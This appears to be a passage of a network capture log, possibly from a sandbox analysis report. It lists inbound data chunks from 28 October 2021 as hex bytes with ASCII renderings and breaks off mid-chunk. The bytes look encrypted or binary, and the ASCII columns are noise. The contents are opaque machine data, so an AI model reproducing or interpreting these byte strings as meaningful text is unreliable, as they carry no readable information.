2021-10-28 20:43:28 UTC	2163	IN	Data Raw: 61 4e c1 da 23 1a 5a d4 f8 d0 db cf 34 7c 32 2f 6e fe 1d 17 2c 9b 88 b6 dc 8e 5f 01 d6 49 4d b1 dc 27 bd bf 97 8a fa cd 1a da ed f0 69 c1 30 fd 9a 49 d6 34 30 24 56 35 dc 12 1c bf f8 f1 bf 29 28 fd 6f 67 d7 72 77 08 5c 31 38 44 64 d2 7d 09 fa 0e 5d 1e fe a8 7b f9 ce f9 5e f6 df f2 1a e6 42 fe 41 e8 df d4 e2 fb 22 5c ed d0 c6 0b 5a 76 50 c2 2d 92 2b af d9 de 11 df e9 a2 61 d5 ef a7 6a 3f 88 9f e5 e6 76 b5 81 30 c0 34 e5 e0 5e 8f 65 56 4a a6 7d cb fc a5 91 eb 0e 65 a0 9e 5f 6b fd 6e c7 14 d6 16 39 73 e1 4d 1b f2 df c4 e8 74 a3 f5 f7 a7 42 c2 43 68 7a f4 6a 04 61 e8 60 f3 2e 5d cd 5a 26 03 a7 dc b8 d2 b1 87 9c 04 4c f7 1c 16 a4 f1 37 a2 37 f6 c0 96 5f 61 99 61 84 d7 46 b6 6e 12 44 f2 db 20 ee 20 b4 6d 87 3e c5 e5 f4 30 37 2e 79 c4 d2 14 80 b0 9b 2f 85 42 0e Data Ascii: aN#Z4\|2/n,_IM'i0I40$V5)(ogrw\18Dd}]{^BA"\ZvP-+aj?v04^eVJ}e_kn9sMtBChzja`.]Z&L77_aaFnD m>07.y/B
2021-10-28 20:43:28 UTC	2179	IN	Data Raw: c6 a2 2a 11 3c f4 db 52 e9 78 e2 60 0f 5f da 92 c4 e3 2c b7 a0 ca 6c 57 1f fb 93 84 50 f3 4a d4 38 41 c7 fc 02 53 f5 35 bb 10 69 08 4f 0f 38 f0 70 fe c9 06 3b 39 be 8a e9 ff 5c b2 b2 a5 ed 15 ef e1 67 c2 4e 76 44 a7 a2 b5 fb 70 bc 66 c3 9a 12 5d b0 ef 67 75 09 22 41 d3 09 69 fb db 87 0f 49 55 9e fb 9c b4 d8 78 29 fa b6 7a af a6 64 b0 ad 51 29 11 59 8b 88 9f 03 20 51 87 bc 8f af fb ea 13 66 20 a4 2d 21 ee 99 50 f6 e5 98 0c 40 22 bd d4 fe 6c 28 06 d3 1f 5b 11 7c ef 56 7f 35 0a ae 17 c6 6a da e4 40 18 9d ec f9 55 f7 6f 6f 7f e1 54 49 e3 6b e1 b3 f6 cc 2f b4 c9 48 48 16 7a 69 cb 90 e6 fb 33 57 2c d6 05 90 40 cb 1c 4f 6b 62 95 10 ce 03 d3 c7 96 bb 50 2a d2 42 54 31 88 bc ab 96 83 5c 15 6b 5b 97 de 1c b1 6b 2a 71 14 6e 8e f7 f5 9a 15 15 99 37 65 fe 2a d6 7d 0e Data Ascii: <Rx`_,lWPJ8AS5iO8p;9\gNvDpf]gu"AiIUx)zdQ)Y Qf -!P@"l([\|V5j@UooTIk/HHzi3W,@OkbPBT1\k[kqn7e}
2021-10-28 20:43:28 UTC	2195	IN	Data Raw: 96 94 97 70 ad 55 34 bd 91 c3 df ca 9b a9 ef 30 f4 f9 a6 7d b3 91 f0 3b cc 16 bc b0 85 dc e7 59 1b 66 a7 dc 7d d2 4f 76 80 44 a8 a5 88 2d 3c 35 85 b9 62 01 bf 89 f1 ea 51 00 f7 05 50 f5 b2 ff bd ca f6 de 0b f6 58 5d 39 6d 23 78 c5 1d d6 4b 6d bf 2c 24 f0 ef b6 14 17 c2 3e c5 9b 1b 8e 64 3f 93 3c c3 05 67 2c 81 7f c4 b3 a4 ab f6 3e dd 16 aa ab 6f 46 d2 a0 55 10 cb 66 6c 64 af 81 b4 26 ad 3c aa 66 07 ed d8 0d 9b b1 b1 ea bf 42 25 c1 29 fa af 0e e1 12 1c 11 20 bd 53 c1 53 bf dd 6d 91 45 28 6d b1 40 10 05 07 3e 10 d7 bd 75 e7 ab 94 e8 bc b4 1a de 12 b1 3a 3e 11 17 79 4f a6 cf f9 97 4d 54 ae 6b 40 d7 e0 6b 0b d9 7a 13 22 e3 b7 8a 69 b5 12 4d e7 61 f0 e5 59 50 6d c1 3a b8 37 2a 4e 37 ad 4d a2 3c 70 ee 49 c9 ce 71 65 e6 d3 11 4a a5 27 df 3b a2 70 e7 2b fb 8c 7e Data Ascii: pU40};Yf}OvD-<5bQPX]9m#xKm,$>d?<g,>oFUfld&<fB%) SSmE(m@>u:>yOMTk@kz"iMaYPm:7*N7M<pIqeJ';p+~
2021-10-28 20:43:28 UTC	2211	IN	Data Raw: 79 96 14 d3 b7 62 6d 92 62 2e 6d a0 7e 4c 4f a8 ac bc 1b f3 c5 cc 28 33 ed dd 2c 4f f9 be 05 bd 0a c2 1d 34 61 00 ad 4b 68 ca eb cd 35 1b 17 68 0c 0f 1a 65 64 6e b7 38 75 79 14 3c 39 09 c5 a6 5a bf 9f 4f 93 0c 8d 72 b0 91 c7 1f 71 ce 17 ce 61 81 34 82 9b 5e 00 b1 2f d3 e1 80 91 82 ad 59 a2 7b ed 2d d1 5d 86 f7 b7 96 36 38 4e fe 1e 2c a9 dd 15 ae 56 aa 2e 32 e5 00 c9 ad 52 a5 d3 bf 9b f3 ce 8b 9a ca c4 58 cd f2 8f 63 98 94 68 91 4e 07 5d aa ff 99 10 63 64 e3 25 09 c4 35 0e bd af eb f3 2c dc 28 da 37 ae e3 27 69 d9 84 31 63 6a b0 9e 24 c7 88 3a 63 e8 e3 69 81 c9 90 bb 3c 6b eb 70 a5 d0 cb c9 71 ea 1b 41 5e c6 31 c6 53 87 19 57 4a eb fa 57 f3 b1 6b a9 2b 16 08 70 a6 ae ab 79 61 7c 35 5f 0e e9 5b a7 ed f6 85 d9 72 84 89 3e ac 5d e5 2f af b9 7f 4f d9 04 d5 bd Data Ascii: ybmb.m~LO(3,O4aKh5hedn8uy<9ZOrqa4^/Y{-]68N,V.2RXchN]cd%5,(7'i1cj$:ci<kpqA^1SWJWk+pya\|5_[r>]/O
2021-10-28 20:43:28 UTC	2227	IN	Data Raw: e1 66 c6 24 c3 2e 37 87 13 68 b9 e3 10 2e 0c 8f 91 99 70 8e 88 aa 08 9e 57 c8 b7 cc 84 3e 96 24 90 c7 a9 07 67 a9 cb 98 bf 3a 01 3a 4c 2f ad f4 95 0d 15 81 58 70 f6 5a 2e 72 0d 6a fc 14 59 8d 01 f2 5e 54 6a 44 e0 b1 42 f0 11 50 7e bc be 05 c6 cd 4b f7 84 f9 f0 44 7c 34 85 7b 35 07 8c 7b de 76 4e 72 a4 a8 96 95 11 31 07 75 b4 81 52 90 91 24 11 97 5f f4 90 08 c9 93 d3 65 c2 ae 72 bf 73 9a 45 b5 d5 3c df 49 32 56 41 d7 6e 8f 4a eb b7 63 0b 22 30 5e 74 f1 88 0b 17 56 e1 b4 1b 71 1d 91 72 04 5f 26 0e d8 28 d9 b6 d2 e1 4e b2 59 52 00 93 bb 30 a7 0e c4 f4 6f fa cd 49 b1 6c 9e 61 b8 f8 b1 b4 ff 26 f6 24 2f 26 82 93 a7 6c 56 1d d9 82 6a 75 33 7a 08 3d 81 b2 9e ed bb b3 99 46 f1 27 f8 63 0a e7 9e 5b 6f 22 78 ae 51 06 0c 9b 49 73 0a b3 20 b3 a8 2a cc 04 e8 0e 0e 80 Data Ascii: f$.7h.pW>$g::L/XpZ.rjY^TjDBP~KD\|4{5{vNr1uR$_ersE<I2VAnJc"0^tVqr_&(NYR0oIla&$/&lVju3z=F'c[o"xQIs *
2021-10-28 20:43:28 UTC	2243	IN	Data Raw: 52 4a e8 3c 6f b7 fa d8 82 84 34 9d 4d e2 72 3b e4 ed 50 a4 03 1f 35 69 46 62 fc a2 2b 02 c4 bc 3e ad e4 61 6b 35 d7 cd 6f cd 40 94 5c 1a 34 0e e0 b4 ab 80 a8 65 ce 13 22 38 4d 52 1f 0c 79 80 ea b1 80 9a d8 a1 69 1f 1a 53 19 5c 3e c5 35 c8 cf 30 ab cc 02 23 72 0b fe e0 17 c3 b3 2e 01 0a da e6 76 8b 9b 6e c2 46 29 9d f7 e2 da 76 d4 a3 dc 7a 37 d8 d2 62 95 0b fb b0 28 c6 28 9c bb 05 04 5c 30 15 16 e1 c8 64 f9 35 cf 70 c5 b6 49 ab cc 98 f2 bd ae 4d 80 09 4d 2d a3 e7 86 be bb af dd df 6b ea 85 9f 58 b4 70 f0 d6 36 fc 82 99 97 59 bc 1a 4b aa 71 e5 f6 ba ac 02 d7 29 42 9a 08 2f cb 9a 3a 37 ec e5 b9 dd 87 49 24 07 42 b0 92 0a 7c 12 93 10 37 7f 65 3e b2 65 98 aa 91 37 9a 93 b3 e3 fc 44 b9 fe 54 ce 98 c8 90 d9 4f 00 87 79 5d 2a 77 cb c1 88 17 04 28 b6 69 7c 75 8f Data Ascii: RJ<o4Mr;P5iFb+>ak5o@\4e"8MRyiS\>50#r.vnF)vz7b((\0d5pIMM-kXp6YKq)B/:7I$B\|7e>e7DTOy]*w(i\|u
2021-10-28 20:43:28 UTC	2259	IN	Data Raw: b3 e3 f1 b1 51 d3 35 f4 f8 0f ea 83 35 d2 69 02 a6 bd 23 d2 8d e6 07 dc 7d 67 00 29 24 e0 11 65 b9 9d b8 a3 9c 17 8c c8 29 d9 02 9f 0f bc cc d4 48 25 93 a2 3c 6c 95 d4 c5 18 d3 7d 95 54 92 93 2d 93 cf 3f 54 f6 6b 5a 69 69 8b b6 7e 15 31 2e bd f4 35 ea 75 80 5b 98 97 7a ad 19 a5 f6 33 c4 3a 93 a6 50 c6 28 68 8b 7b 34 35 f0 4f 79 36 02 68 dc 2c 5f 03 ca 56 c5 0a a0 c7 84 b5 e8 be 93 55 cb cc 92 cc 0f a3 09 83 95 cf e6 01 e3 c1 96 4f b2 1a fd 67 34 cf ee 3b c9 50 5f 7e e1 7a 29 a6 89 2c f3 a1 f4 97 f8 3f 95 53 ff 9e 4e af 67 cb 90 14 a0 e9 34 6f f7 5b 03 14 0b 7d 8c 3d c0 81 c3 cf 53 3a d9 91 22 4a 8e d6 e8 56 80 6e 13 4b eb 47 a1 56 23 30 3a 9a 9b 2c 5d 92 11 f8 14 65 d5 60 07 42 5d ff 63 83 81 9e 4a b2 98 9d 8a 8f 20 c1 7f b0 38 7d 00 5f 06 6c 6d a6 ba c6 Data Ascii: Q55i#}g)$e)H%<l}T-?TkZii~1.5u[z3:P(h{45Oy6h,_VUOg4;P_~z),?SNg4o[}=S:"JVnKGV#0:,]e`B]cJ 8}_lm
2021-10-28 20:43:28 UTC	2275	IN	Data Raw: 46 0a 03 b7 9a 31 7e 8f e5 5b 4e f0 6b 34 49 9e 1b 8f 12 d3 f4 50 66 66 47 1b d7 86 06 ee 4f bf 65 da 82 01 be 52 7a 92 87 24 cd 96 a4 7d 83 8c 1d 75 35 59 62 ae 83 b8 51 24 eb 6b 14 0b 53 6f 66 c5 b4 4b cb a8 70 87 34 e2 91 0c c1 9e 49 9c ce bf ed ba 04 55 27 19 6e a9 bd bb eb a9 0f f3 01 c3 bf 53 1c 25 98 86 88 9d d1 fd 91 a9 11 b9 66 52 53 ff 83 b3 c9 3d 0f 80 28 65 aa a4 91 5e f1 d0 f6 8c 2d 5d 02 d6 5d 66 54 7b 92 cb d8 2e 53 6d 65 38 ce eb 22 56 a9 0c 91 96 d3 39 27 72 ed a0 a5 15 39 59 3d b1 2b ab 37 95 f7 bb 59 b8 3d 9f 41 03 b8 f5 88 a3 61 58 1c 9f 34 76 5c 3a 4b 62 b6 48 2a 4a 1e 90 dc 45 de 91 1a 66 c5 dd f0 8c ca 31 db 2a 72 d4 79 a5 9b a5 4f 6b 19 f8 e6 79 20 da c9 df d4 57 67 80 9e da 73 7e 2d 90 d2 b6 0e 76 d7 9e d0 ac 5e 2f c2 e4 e5 cc 94 Data Ascii: F1~[Nk4IPffGOeRz$}u5YbQ$kSofKp4IU'nS%fRS=(e^-]]fT{.Sme8"V9'r9Y=+7Y=AaX4v\:KbHJEf1ryOky Wgs~-v^/
2021-10-28 20:43:28 UTC	2291	IN	Data Raw: 89 31 ba f9 c8 f2 1d 36 a8 17 69 23 b8 69 40 a2 24 07 31 35 f7 0f 5a 02 6f 28 a6 f3 98 37 b8 69 88 c2 00 1c d1 5c ca 6a 68 67 fb 83 b2 30 4b 4b 3c 12 87 79 98 d3 9a 82 cb 14 ee 83 a8 26 d3 6e 10 13 67 24 96 c7 a8 60 7f 84 f4 f7 40 e1 43 52 d5 85 ee 10 61 aa bf 6f 44 2d cd 9f 91 c8 60 33 c2 29 2a a4 0d fa ca fb 1a 0b 95 d5 00 ea 27 56 ee e2 4e 20 c7 1d b4 f5 4d e9 39 2c 98 4f 0c e3 20 d8 01 8c 46 bd 0d 72 08 8b ab 39 15 d3 e8 b3 94 6c 11 ec d7 76 b3 63 93 bf 1b 65 e3 05 06 90 79 54 5d 49 19 81 51 a4 6c 40 bd 38 84 1d 82 b2 10 79 8f 8e d1 5c c9 5e e4 9a cd 2f fd 1c c7 ac 92 e6 8d 7d 78 21 8f 26 eb 91 e5 3c fc 35 40 24 13 67 46 3f 30 a1 0e a4 8a dc 6a e0 ce e3 b4 b5 a7 f6 03 53 18 1d 34 1b 61 bd 5f 26 63 fe 79 45 79 48 c2 7c 48 f2 14 61 d6 ec 97 9c de 05 f6 Data Ascii: 16i#i@$15Zo(7i\jhg0KK<y&ng$`@CRaoD-`3)*'VN M9,O Fr9lvceyT]IQl@8y\^/}x!&<5@$gF?0jS4a_&cyEyH\|Ha
2021-10-28 20:43:28 UTC	2307	IN	Data Raw: d1 9d 54 8c aa b6 7e 8c d0 7f 39 18 35 20 e4 fc df 48 5c 0a 60 13 f9 6d 4a 36 86 e4 65 60 6b e9 46 f4 a7 f7 eb 2b 9d ce ff ec fa e7 b3 7a c9 2b ab 27 38 1e c7 9b e8 c7 57 00 37 2d 7f a2 36 61 69 ae 04 e3 50 e6 da 5f 49 95 1e e1 4e db e5 56 c7 0d 55 88 ac d7 e5 e3 cd df 76 f2 b0 e4 e5 08 d3 81 15 2f 64 1e 09 78 fd 83 4d f6 68 d9 a3 9a f3 e7 81 bf 1e 20 d5 1e da 37 36 2b bf 33 e7 b7 31 79 8a 22 81 ee 89 72 0a 63 81 ea 9b 7e 00 76 00 e4 cd 38 d6 95 e8 19 f2 74 31 71 df 23 df cd 25 75 6b 88 4f 68 64 4d 5b 27 b4 20 c3 4b ad 62 e0 76 07 0e 44 2b ed a1 3f 53 23 1a bd 9a 5f 29 d8 49 8f 93 03 87 2a 6a 03 49 6e a1 e9 a6 f6 ab 1c bb 0b 6b 32 42 67 9e 67 55 92 e9 4b 98 0c 4b 32 48 51 f5 90 f9 50 5c 04 84 35 54 29 63 fd cf dd 81 d7 fb 94 4f 1d 70 27 7e cb 0b e0 fd 75 Data Ascii: T~95 H\`mJ6e`kF+z+'8W7-6aiP_INVUv/dxMh 76+31y"rc~v8t1q#%ukOhdM[' KbvD+?S#_)I*jInk2BggUKK2HQP\5T)cOp'~u
2021-10-28 20:43:28 UTC	2323	IN	Data Raw: d4 92 eb 24 e7 cd 17 ba 3f 7e dc 89 33 c4 70 7d a0 4c fc 3b fa 8b 16 b7 62 c8 3a 78 2d f9 a3 a9 00 ff 03 5b 08 8c eb b2 7d 2d 4e 34 48 fa 49 1e fb ea d2 ba a8 a9 c3 ba e1 91 85 c5 9c 86 a3 8d 2f 2c 54 9a e9 f7 fc d8 d6 87 80 81 7b 5e af 8d 14 10 5b 57 fa 8b 60 2e a0 a5 c7 99 dc a9 07 bb b9 50 89 5b 8b ab b7 01 53 19 af a0 14 1f f9 a9 3c d7 da 99 86 a5 c5 c5 a2 ed ae 55 34 4d 68 ad 9a a7 14 3e 71 d4 09 a8 ca 03 3d 5f de 24 11 1a 8f 11 b8 65 35 cd 4c d1 87 ad 18 9e b0 f0 0f 1f 78 d7 32 de 56 6a 45 05 e0 cd 45 3a a0 15 a0 5e d6 0c 8e c9 3a d9 1e 5b f7 51 6f 3f 91 41 0c 7d 0c 85 05 b8 57 40 3a d8 95 80 3a 6f 6f f9 86 51 bb 50 08 23 3b 6b f3 05 37 10 29 14 b9 44 a7 2e 12 48 57 94 6c 75 4c 13 13 fc 50 d3 2b 4e ec 6d 62 c6 c7 c3 15 76 7d 72 cf da 7c b6 1e d3 0e Data Ascii: $?~3p}L;b:x-[}-N4HI/,T{^[W`.P[S<U4Mh>q=_$e5Lx2VjEE:^:[Qo?A}W@::ooQP#;k7)D.HWluLP+Nmbv}r\|
2021-10-28 20:43:28 UTC	2339	IN	Data Raw: 54 73 9d f2 33 0b 1d 4c c5 07 b5 cc 7b 03 5a 16 8d d5 59 ef e0 80 23 0b 7e 21 2b 90 23 de 87 dd eb 43 45 b0 fb fe c2 68 a8 9a ae d8 3e fa e6 35 33 8d 3a 18 65 a2 5b 7b 96 52 b6 d2 14 5a 27 27 75 1d 41 74 36 4f 3c 6f 1d eb 3b 2f ec e7 05 d3 b4 cc c7 93 f7 34 26 15 87 b1 a7 99 3f 96 48 12 bb 2e b1 c9 48 63 dc d8 9d c2 93 e9 9d 08 d5 cd c6 19 fe 9a 7c c4 5b d2 3b 71 df 24 c7 ee 2e 70 fb 69 58 c7 f5 ae e7 62 b2 87 78 da 9a 50 21 54 54 ea b8 f4 be 6d 29 6b 01 f4 4a 1e 65 e0 d7 20 e4 eb 52 1b 34 d2 0f 02 cf 34 6c 78 f2 5d 87 e3 ec d9 3b 55 53 41 47 3e 89 4e 04 9e cf 71 ec 1b 32 83 dd 14 78 8d 16 05 2b d0 1f 35 27 0c 45 34 d0 42 b5 2c 01 b9 21 59 75 b3 c3 19 7c e0 33 fd 64 91 33 2a 01 4c ba 01 5b 58 13 dd b2 d8 b3 36 b7 81 47 67 8a f9 d5 56 c1 84 7f 27 16 2a f3 Data Ascii: Ts3L{ZY#~!+#CEh>53:e[{RZ''uAt6O<o;/4&?H.Hc\|[;q$.piXbxP!TTm)kJe R44lx];USAG>Nq2x+5'E4B,!Yu\|3d3L[X6GgV'
2021-10-28 20:43:28 UTC	2355	IN	Data Raw: 2d 31 24 bc 4f 97 4e ff 58 7b 5d 5b 0a 64 60 53 66 d0 a6 f8 20 78 88 8a d7 02 3f 34 b7 f4 ad ca 16 40 38 5d 98 67 f7 3c 3c b3 1f b7 2c 8a 50 1d 94 bc c2 d2 f6 dc 80 ab 2e a1 cc 64 d0 ed 3b cf b8 a3 89 90 22 79 b6 fc 19 ee da 37 0b 60 7e 80 7d f4 3a c2 41 4c 50 1b db 08 99 63 91 0b 8c 76 8c 4c 1b 49 6f e4 5c 0e 64 ae ea ea 45 9e ef 7c 49 54 e3 54 2b 34 62 9c b2 4d e2 d5 7b c2 ff 50 ef a1 fe 57 d1 3a b7 29 39 1b 48 19 6a c0 db 4a f0 a7 66 e6 eb 68 27 59 04 81 58 10 a7 6e 03 8f d4 33 7d a2 be c9 f1 1a fe 1e 44 62 5d ff 66 da fb af dc 78 fb 02 12 f3 71 fc cf b9 7b a1 5f d4 b0 1b 0e e9 75 75 8b f3 4d f9 f4 2c 0b 2a bb 14 42 11 13 70 f3 89 d1 9c 47 4d 0c 31 5f f4 d0 7f b8 c7 5a 81 a7 c4 7a a2 de ce e2 63 4c b4 74 1c 8e 39 29 c6 de 53 47 16 0f 42 5c 47 36 11 d2 Data Ascii: -1$ONX{][d`Sf x?4@8]g<<,P.d;"y7`~}:ALPcvLIo\dE\|ITT+4bM{PW:)9HjJfh'YXn3}Db]fxq{_uuM,*BpGM1_ZzcLt9)SGB\G6
2021-10-28 20:43:28 UTC	2371	IN	Data Raw: 26 f7 c7 31 b7 a6 78 0c f0 f5 ad 03 e0 66 82 16 01 b3 91 87 99 d7 a2 a1 f3 e1 bf bf 08 4b 92 04 08 d3 a1 c6 93 95 89 0a 45 6f d1 6d 1b 3f da 39 a6 b5 3e b3 4b df 7f 63 65 0f 64 99 c0 3e 5c b2 9e 95 88 37 4e a0 c8 f8 38 24 5b 50 93 af 65 85 d8 51 83 42 ce 85 62 bb 5b 32 17 c4 85 76 a8 de ba 7f 15 d7 6c 0d f7 26 3b 12 23 a6 74 67 a8 3b dc 35 38 48 bb 23 b9 b3 25 2d 9b 50 86 5c 65 37 15 72 09 68 ae 0c cd 23 c3 f8 16 e4 91 87 8b 04 3c ec 0d 3f 46 27 e7 42 0b 20 ff 6d f0 af d7 31 8e 25 07 3f cf 26 16 9a 8f 83 9c 78 ad 65 e8 02 fd c3 43 89 62 33 33 a0 15 ce 6f b8 cf 6b e1 d7 cb 10 1f f8 b5 cf e7 0c e1 cc 32 ba 0a 37 4d 4f 56 f9 30 ad 4c bd 12 9c 78 63 18 8f 09 8b 5b 98 bc 2b c1 84 bb 14 80 e6 04 dd a4 57 e7 d3 a4 a1 90 b6 93 32 1d 76 05 d7 fa 2b 78 fb ac b1 82 Data Ascii: &1xfKEom?9>Kced>\7N8$[PeQBb[2vl&;#tg;58H#%-P\e7rh#<?F'B m1%?&xeCb33ok27MOV0Lxc[+W2v+x
2021-10-28 20:43:28 UTC	2387	IN	Data Raw: 71 6e de f2 c0 14 ff 4f 6f 27 c3 32 c7 28 81 a7 c5 4d 77 ac 53 23 8b 13 d0 d3 e4 04 32 00 a4 bf a8 06 08 42 14 1b 65 2b aa 17 33 ab ed 67 70 fb ce 54 d9 cb 1d 48 7f 06 66 df 1a e1 42 08 3a ac 77 64 94 08 d2 7f 93 c6 9e 7c 7a 25 7b b1 c9 7f 8a fa bd e7 c4 36 95 ad d7 64 7f 16 82 ff 59 47 7b 0b 86 85 a2 d9 80 c5 93 47 c3 b4 84 00 a7 67 8d 60 8e 02 10 98 e5 0e d0 a1 7e 6d ee 6d 8e 8a 18 de bb 12 f5 ec 39 44 74 bd 74 4c d6 9a f3 d8 a3 52 89 f5 ab e0 5e 92 6e 16 d9 0b 7a 43 a4 5b 33 40 2d a0 7b 56 0f 8b 44 41 b8 05 7c 86 ed 05 28 53 a3 11 9b 1f ad 9d b4 b8 02 f0 f4 9a ac b7 86 fd fc 04 21 69 60 f4 c6 78 d6 d8 12 e7 97 62 65 9c 10 b6 d7 a0 f5 48 bd 55 31 e5 bd 00 8d 25 59 36 c0 28 4f eb 1d bb e9 08 ec b9 01 54 9a 65 10 cd 9e 94 42 34 5b a3 4e d1 5f 7e b8 f6 a4 Data Ascii: qnOo'2(MwS#2Be+3gpTHfB:wd\|z%{6dYG{Gg`~mm9DttLR^nzC[3@-{VDA\|(S!i`xbeHU1%Y6(OTeB4[N_~
2021-10-28 20:43:28 UTC	2403	IN	Data Raw: 3f db 7f 64 9a dc 86 77 f2 d4 be 40 64 0c dc dd f3 95 2e c7 6c dd ce e4 fb b6 4f 51 52 23 7b 5d f7 92 3a 40 23 d2 07 c5 95 e0 a7 07 4c 0c 18 03 62 da 26 85 4a c7 ec 10 43 f3 a3 7c 5f 7a 9c 57 0f a7 ff 4b 9b 8d 50 03 f0 61 9b e9 2d f2 f3 d5 ed e3 15 cd cc d6 ff 37 dd 81 f2 ab 29 dd ee 7c 1d 24 38 f4 a9 07 8b 07 c1 69 17 95 e4 39 00 ce b7 c1 04 d1 40 2e 33 cd fb f1 2a bb d9 42 34 0e 3c 6d 0f b9 e8 4a d4 91 ef 35 4c 17 e6 f5 6b f4 09 fb eb c2 53 7e 06 fb 1a 8e be f8 17 42 06 e4 de c7 57 46 1a ef 65 2b 03 eb 63 07 e4 af cd de 2d f8 a9 57 28 4f 27 64 f8 11 3d ba cb 89 cf 99 42 fa 0f 34 44 c5 47 0c f7 f0 e8 dd 73 fc 39 e3 a4 bc 59 b1 bb f3 6c ee f1 fd b6 2e b1 a0 82 01 a2 57 08 2e 11 11 1a a0 43 b9 21 ff 60 32 00 d4 ad f7 2a db 6b b0 f5 b1 3a 1c 27 00 26 bd c7 Data Ascii: ?dw@d.lOQR#{]:@#Lb&JC\|_zWKPa-7)\|$8i9@.3B4<mJ5LkS~BWFe+c-W(O'd=B4DGs9Yl.W.C!`2k:'&
2021-10-28 20:43:28 UTC	2419	IN	Data Raw: fb 44 cf 03 4f 25 41 c5 f1 67 89 3c 4c 5f 1a 62 39 2a b5 83 98 94 3f ed 19 7d d0 85 eb c4 20 49 4f 19 b9 3e 10 52 b0 69 c1 ed 28 20 bf fe be ef 2c 0e ee 85 45 19 d2 5f 86 f1 ab 74 4e a8 f6 c2 67 97 fe 41 42 be 48 d2 c6 7d 88 80 99 c7 4a 8e bd 7f d1 a4 19 b0 72 19 66 3c a1 b4 08 fd e7 2a 75 c3 e1 47 b3 da 1f 02 3d c9 35 6c f6 c7 d6 11 e5 ec 43 02 e7 0e 46 72 5d 4f e3 20 ed e0 5f 8e 13 ac 1d 60 71 0b f6 19 6a 7b 14 80 3d 85 6e 6e 18 63 4a 6f 66 4f fd 84 40 66 79 79 cb a8 21 4d b7 aa cc f1 ae 16 4d 82 80 fc 31 fa 71 da 11 53 3b 29 a8 39 bb d1 52 10 d6 f0 74 3d 75 25 91 55 de 04 41 eb b6 73 0e bf d9 e4 78 1d 67 29 fd c3 49 9c db 2f 37 fc ab a8 7e 3a 82 8d 4b 47 60 2b e5 52 59 e6 a7 e6 ba 52 fe ee 76 58 fb 49 87 11 0e 58 88 15 31 7b 72 03 97 3c 21 02 e9 72 44 Data Ascii: DO%Ag<L_b9?} IO>Ri( ,E_tNgABH}Jrf<uG=5lCFr]O _`qj{=nncJofO@fyy!MM1qS;)9Rt=u%UAsxg)I/7~:KG`+RYRvXIX1{r<!rD
2021-10-28 20:43:28 UTC	2435	IN	Data Raw: 5f 9b 16 17 35 23 de 49 46 82 a9 e1 32 29 1f a1 86 eb eb 95 c3 3b e4 26 c4 03 63 2d 4f b6 1a fd d3 6d ea c8 77 7f 92 c0 16 4b 9b 29 d6 6d 63 c1 6b 01 54 9d d9 ad 6c 15 52 26 59 33 d1 32 ae 81 db 83 b9 dd 24 97 d9 63 bd 2a 34 14 42 7c ec 33 e3 32 f6 1c 28 93 f9 9d c8 6c b7 88 c6 14 17 e9 cd 0d b8 29 42 bc 3c 90 fb d4 64 9e e0 ef cb cd be b7 f4 1f 17 4d 40 2e 31 18 3c de 2b c2 37 4a a5 12 8e 8e ce 01 3b 91 6d b5 5f b7 4a 7a ac 68 df 12 6a 9c 89 9e bd 5a 8a 80 00 d0 4d 5b 84 82 b7 cf 67 ad 58 e7 57 ed 82 9d f4 a3 15 1b 41 95 55 79 50 5e d5 45 0c 2c b5 2f 71 4f ef 87 5b f3 14 fc 57 b0 f2 2e da 59 b4 51 12 e3 73 0d 05 26 47 42 10 0c 78 3f 02 2c 9a 00 b7 8d 4c d0 b3 b5 14 91 62 de 71 e0 4c d6 ab 08 68 7b 2c a3 10 a3 01 1b 57 3c 67 f8 fd 58 ae c5 b3 b9 fb 0f 74 Data Ascii: _5#IF2);&c-OmwK)mckTlR&Y32$c*4B\|32(l)B<dM@.1<+7J;m_JzhjZM[gXWAUyP^E,/qO[W.YQs&GBx?,LbqLh{,W<gXt
2021-10-28 20:43:28 UTC	2439	IN	Data Raw: b4 27 c7 c7 98 87 86 27 0a 56 fc 07 66 82 9a 5c dc f0 65 44 69 5c 3c 59 8a 08 54 bc 52 7a df ef 29 2b 91 2d df aa b3 3d 14 94 f5 f4 36 55 c8 25 c6 76 31 d8 65 0e 08 e0 74 57 74 01 b2 55 b2 26 a1 06 e7 e7 ee 98 a0 5e 2f b1 f5 73 27 07 77 04 a8 5e 28 c6 7b 6b dd 71 18 dc 75 64 fe 21 68 65 08 f1 ab 7f 5e 5e 3c e1 a6 15 6c a0 b9 40 f3 e0 f5 65 3d 3b d2 12 1f 0f 4b 88 2f 88 41 48 b7 53 d1 d1 f1 ca 37 2a 8f 1b 75 5e 33 d0 5b 0c d7 ca c4 f5 4e fe 0c 77 14 58 58 2b 01 51 4f 37 74 5e 20 f2 93 7e e0 95 e3 30 68 a5 9a 3e ac 49 69 a6 d7 1b 9f 8c d1 19 4e d0 8f 3e 55 ec 4c bb 5a 99 66 ed b1 c8 d0 ce 30 1c c1 4f e2 62 04 a5 e3 7b 94 06 1e 94 80 1d 7a 05 04 e0 bd a8 5c a0 5b b1 89 cb 50 5c b6 66 8c 5e 9c fe 1b 1a 28 06 f9 b7 87 76 82 b1 bd 43 30 2d 55 d7 a5 50 b4 12 1e Data Ascii: ''Vf\eDi\<YTRz)+-=6U%v1etWtU&^/s'w^({kqud!he^^<l@e=;K/AHS7*u^3[NwXX+QO7t^ ~0h>IiN>ULZf0Ob{z\[P\f^(vC0-UP
2021-10-28 20:43:28 UTC	2455	IN	Data Raw: 71 bb 62 32 a1 88 a7 07 87 35 7d 79 98 ec c2 07 75 8b a4 28 aa 87 ac d0 6f 62 a7 23 29 37 3b 7d 32 01 c4 cb c6 84 cc 92 c6 0b fb 1a 5c 70 d2 3a 25 e9 7f c7 52 88 6d f1 7c 25 5e 01 ab 06 8d c4 1b c8 ba 17 b5 15 d2 88 ee ec 48 6c b2 c1 cd 32 d7 c2 51 00 35 f2 a3 bd a2 d8 85 2e 44 ab 2c f5 6b 79 61 c6 f0 48 26 4a 1e fe 1f c4 16 82 00 5c ec 10 63 14 7c 9c f1 7a ba 1b 72 f4 a9 ed 01 e3 54 87 35 47 e9 fd ed a0 bf 65 2e ae 07 35 79 b7 af 96 d6 22 d9 d2 55 e3 3f 27 f8 39 9e 2c f8 15 e4 7e 9a 2d 26 65 0d b5 4d 71 c4 f8 d4 8b 56 1a 85 aa cc 1a f3 97 c8 d2 45 ca 79 fa fb 7d 49 c0 dc 6e ca 54 71 9b 98 50 52 02 a8 11 b0 7e b3 a6 2f 6b 02 4e 08 95 19 4a fe de 80 02 02 7b ab ae 45 04 75 f0 c6 04 e6 8d 29 20 85 e0 ba b4 c8 f0 49 53 7c 6d 3f ef f5 a6 c9 b7 